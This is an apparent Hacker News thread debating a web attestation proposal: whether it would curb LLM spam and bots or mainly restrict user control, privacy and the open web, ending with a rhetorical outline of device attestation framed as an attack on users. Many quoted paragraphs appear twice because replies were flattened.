Because OS-level restrictions that ignore extensions and runtime modifications to websites and scriptable browsers won't help with any of these problems. And if advocates are willing to so quickly say today, "there's LLM spam, so sure, lock down the OS", they are also going to say in the future, "there's still LLM spam, the problem is worse than ever, lock down the extensions."
If you believe that blocking bots justifies attacking user agency, there's no reason to stop at blocking users from rooting their phones. The actual impactful attacks on user agency for blocking bots would be to block website inspection and website modification.
> LLM-generated spam is trivial to automate inside of a normal browser.
Sure, the analog loophole (or analog input loophole) will remain. But it's times more difficult than what is possible at this point in time.
> And if advocates are willing to so quickly say today, "there's LLM spam, so sure, lock down the OS", they are also going to say in the future, "there's still LLM spam, the problem is worse than ever, lock down the extensions."
There's always going to be spam, just like there's always going to be ways around DRM. The difficulty changes over time. Up to the person to decide if it's good or bad.
> If you believe that blocking bots justifies attacking user agency, there's no reason to stop at blocking users from rooting their phones.
Noone has stopped there, SafetyNet already does that.
Sure, the analog loophole (or analog input loophole) will remain. But it's times more difficult than what is possible at this point in time.
> And if advocates are willing to so quickly say today, "there's LLM spam, so sure, lock down the OS", they are also going to say in the future, "there's still LLM spam, the problem is worse than ever, lock down the extensions."
There's always going to be spam, just like there's always going to be ways around DRM. The difficulty changes over time. Up to the person to decide if it's good or bad.
> If you believe that blocking bots justifies attacking user agency, there's no reason to stop at blocking users from rooting their phones.
Noone has stopped there, SafetyNet already does that.
> Sure, the analog loophole (or analog input loophole) will remain. But it's times more difficult than what is possible at this point in time.
I disagree, I don't think whether or not you can root your phone has any real impact on how hard it is to automate a request. I don't think this is the same as the analog loophole, I think it's going after a different area entirely from where most attacks are coming from.
> Noone has stopped there, SafetyNet already does that.
What I mean is that SafetyNet blocks custom ROMs, rooting, etc... and I'm seeing comments saying that's all that the spec is interested in, it's not going to target extensions or code inspection. I don't think there's any reason to be confident of that, I think it's very likely that this spec evolves to target browser extensions. Because I don't think blocking people from rooting their phones will make an observable difference in the amount of LLM spam that websites get.
I disagree, I don't think whether or not you can root your phone has any real impact on how hard it is to automate a request. I don't think this is the same as the analog loophole, I think it's going after a different area entirely from where most attacks are coming from.
> Noone has stopped there, SafetyNet already does that.
What I mean is that SafetyNet blocks custom ROMs, rooting, etc... and I'm seeing comments saying that's all that the spec is interested in, it's not going to target extensions or code inspection. I don't think there's any reason to be confident of that, I think it's very likely that this spec evolves to target browser extensions. Because I don't think blocking people from rooting their phones will make an observable difference in the amount of LLM spam that websites get.
> I disagree, I don't think whether or not you can root your phone has any real impact on how hard it is to automate a request.
I find device farms way harder to pull off than a bash curl script, to be honest.
> I think it's very likely that this spec evolves to target browser extensions.
Absolutely, it very literally tries to guarantee integrity.
> Because I don't think blocking people from rooting their phones will make an observable difference in the amount of LLM spam that websites get.
I do think it would reduce the amount of abuse that's not very sophisticated. If that's worth the rest...
I find device farms way harder to pull off than a bash curl script, to be honest.
> I think it's very likely that this spec evolves to target browser extensions.
Absolutely, it very literally tries to guarantee integrity.
> Because I don't think blocking people from rooting their phones will make an observable difference in the amount of LLM spam that websites get.
I do think it would reduce the amount of abuse that's not very sophisticated. If that's worth the rest...
> I find device farms way harder to pull off than a bash curl script, to be honest.
I feel like you're potentially overcomplicating that? What I'm getting at is that:
A) You can basically build the equivalent of a bash curl script pretty easily if individual browsers aren't blocked (which Google says it doesn't want to do, but... that's my point, they will). Guaranteeing OS integrity doesn't matter unless you go on to restrict which browsers can run and weed out the efficient headless browsers. If any headless browser gets attestation support (and I've had proponents try to tell me that headless browsers will be supported) then that's likely game over for attestation as a bot detector.
B) You can build mostly the equivalent of a bash curl script inside of a webextension (or honestly, not even, you can make requests in a loop automated within your browser's dev-tools). You don't need to leave the monitor or anything hooked up and you don't need to do anything particularly fancy and you don't need to emulate user input or build a complicated farm. Your web browser is a terminal with all of the capabilities of Bash and more.
My instinct is that any website that was vulnerable to a quick and easy bash script before is going to be just as vulnerable to a `for` loop run inside the browser dev tools.
----
It's tricky to talk about because the actual answer is what you say: ("absolutely, it very literally tries to guarantee integrity") -- that attestation will involve significantly more restrictions than proponents are pretending it will impose. But if I take the proponents at face value, and if I believe that this is about guaranteeing OS integrity and blocking root and it's not going to block headless browsers or extensions -- in that world I don't think this necessitates setting up a bunch of device farms? I think it just means you run Headless Chromium or Firefox, maybe with a remote debugger if you want to be fancy, and then you have it spam requests. Bear in mind that this will be on desktop as well; it's not only phones that would be sending attestation signals. Desktop Chromium and Firefox are incredibly easy to script.
Maybe it makes that slightly more expensive since you have to actually run a browser, but I don't think you need a rack of phones and I'm not sure that the compute cost of running a browser can be considered prohibitive? Maybe I'm underestimating the margin that bot farms operate at and forcing them to run a browser would be enough to drive some out of business. But I kind of suspect you just use one of the desktop browsers that has attestation and write your "bash" script equivalent inside of that browser and everything works mostly the same.
Am I missing something? It doesn't seem like that big of a deal whether or not you can use curl.
And the only real way to get around that is for some websites to turn off the ability to have the browser arbitrarily execute code with full access to browser/page APIs whenever the user hits F12.
I feel like you're potentially overcomplicating that? What I'm getting at is that:
A) You can basically build the equivalent of a bash curl script pretty easily if individual browsers aren't blocked (which Google says it doesn't want to do, but... that's my point, they will). Guaranteeing OS integrity doesn't matter unless you go on to restrict which browsers can run and weed out the efficient headless browsers. If any headless browser gets attestation support (and I've had proponents try to tell me that headless browsers will be supported) then that's likely game over for attestation as a bot detector.
B) You can build mostly the equivalent of a bash curl script inside of a webextension (or honestly, not even, you can make requests in a loop automated within your browser's dev-tools). You don't need to leave the monitor or anything hooked up and you don't need to do anything particularly fancy and you don't need to emulate user input or build a complicated farm. Your web browser is a terminal with all of the capabilities of Bash and more.
My instinct is that any website that was vulnerable to a quick and easy bash script before is going to be just as vulnerable to a `for` loop run inside the browser dev tools.
----
It's tricky to talk about because the actual answer is what you say: ("absolutely, it very literally tries to guarantee integrity") -- that attestation will involve significantly more restrictions than proponents are pretending it will impose. But if I take the proponents at face value, and if I believe that this is about guaranteeing OS integrity and blocking root and it's not going to block headless browsers or extensions -- in that world I don't think this necessitates setting up a bunch of device farms? I think it just means you run Headless Chromium or Firefox, maybe with a remote debugger if you want to be fancy, and then you have it spam requests. Bear in mind that this will be on desktop as well; it's not only phones that would be sending attestation signals. Desktop Chromium and Firefox are incredibly easy to script.
Maybe it makes that slightly more expensive since you have to actually run a browser, but I don't think you need a rack of phones and I'm not sure that the compute cost of running a browser can be considered prohibitive? Maybe I'm underestimating the margin that bot farms operate at and forcing them to run a browser would be enough to drive some out of business. But I kind of suspect you just use one of the desktop browsers that has attestation and write your "bash" script equivalent inside of that browser and everything works mostly the same.
Am I missing something? It doesn't seem like that big of a deal whether or not you can use curl.
And the only real way to get around that is for some websites to turn off the ability to have the browser arbitrarily execute code with full access to browser/page APIs whenever the user hits F12.
Those sites make their money through SEO optimisation.
Tracking me harder isn't going to make those sites go away.
Tracking me harder isn't going to make those sites go away.
We're not talking about some random search results. The existence of SEO spam sites isn't related to other sites' ability to fight spam better.
Ah, I misunderstood, I didn't realise you were talking about bots that spam comment sections, forum replies, etc.
I still think the approach is harmful overall.
The idea that I must be "vouched for" by a "trusted third party" by providing extensive details about my system, in order for my browser to send a HTTP request is in direct opposition to privacy and my interests.
That it's being proposed by a company that owes it's entire existence to web crawling is ironic.
It turns the web from an open platform into one where the big players have complete control over which devices and software are permitted.
I still think the approach is harmful overall.
The idea that I must be "vouched for" by a "trusted third party" by providing extensive details about my system, in order for my browser to send a HTTP request is in direct opposition to privacy and my interests.
That it's being proposed by a company that owes it's entire existence to web crawling is ironic.
It turns the web from an open platform into one where the big players have complete control over which devices and software are permitted.
Less spam, less ad fraud, less cheating, etc
Be honest, what you really want is for the web to orient itself in a direction where users get to make fewer "illegal" copies of content produced by corporations. Never mind the fact that their computers might not support, even in theory, the level of DRM the corporations want.
https://news.ycombinator.com/item?id=36866372
https://news.ycombinator.com/item?id=36866372
You want to go into these conversations in good faith, but when they're so transparently not being had in good faith, it's tough to do so.
I'm trying to figure out how to balance assuming the best and treating every comment as if it's an individual argument, while also not being completely naive to the fact that a nontrivial number of the people making these arguments are very often blatantly pro-DRM and are asking me to just pretend that they're not. It's definitely not everyone, but...
I'm trying to figure out how to balance assuming the best and treating every comment as if it's an individual argument, while also not being completely naive to the fact that a nontrivial number of the people making these arguments are very often blatantly pro-DRM and are asking me to just pretend that they're not. It's definitely not everyone, but...
I don't agree that it'll affect spam and I couldn't care less about ad fraud or cheating.
What is does do, is afford the major players total control over which devices and individuals are allowed to access the web.
What is does do, is afford the major players total control over which devices and individuals are allowed to access the web.
> Automatic testing will still work because a developer isn't going to add restrictions to their own tests from their site. Unless they are testing if a captcha gets shown from an unsafe environment.
Websites aren't the only party that might want automated tests.
> Archives, search engines, and spiders should already be respecting robots.txt. Site owners can already block those things if they don't want their site crawled.
robots.txt is not law. Archives, search engines, and spiders SHOULD ignore it in cases where they deem it the more moral action. After all, all of these are supposed to snapshot the web that humans see.
Websites aren't the only party that might want automated tests.
> Archives, search engines, and spiders should already be respecting robots.txt. Site owners can already block those things if they don't want their site crawled.
robots.txt is not law. Archives, search engines, and spiders SHOULD ignore it in cases where they deem it the more moral action. After all, all of these are supposed to snapshot the web that humans see.
1. The attacker manufactures a device, such as a smartphone, generates a keypair for it, stores it on an HSM on the device (generally called a "trusted enclave"), and signs the public key of the keypair with a master key
2. The device runs the attacker's software and is designed so that whenever non-attacker software is run with elevated privileges, the HSM is informed of that fact in a way that can't be reset without rebooting (and starting again with the attacker's software). For instance, the device might use a verified boot scheme, send the key the OS is signed with to the HSM in a way that is unchangeable until reboot, and it might employ hardening like having the CPU encrypt RAM or apply an HMAC to RAM
3. The HSM produces signatures of messages that contain statements that the device is running the attacker's software, plus whatever the attacker's software wants to communicate and it won't produce them if it's running software of the user's choice as opposed to the attacker's software as established above. It also includes the signature of its public key with the master keypair, allowing accomplices to check that the device is indeed not under the user's control, but rather under the control of someone they trust to effectively limit the user's freedom
4. Optionally, that attestation is passed through the attacker's servers, which check it and return another attestation signed by themselves, allowing to anonymize the device and apply arbitrary other criteria
5. Conniving third parties can thus use this scheme to ensure that they are interacting with a device running the attacker's software, and thus that the device is restricting the user behavior as the attacker specifies. For instance, it can ensure that the device is running the accomplice's code unmodified, preventing the user from being able to run software of their choice, and it can ensure that the user is using device as desired by the attacker and their accomplices.
This attack is already running against Android smartphone users (orchestrated by Google, in the form of SafetyNet and the Play Integrity API) and iOS smartphone users (orchestrated by Apple) and this extends the attack to the web.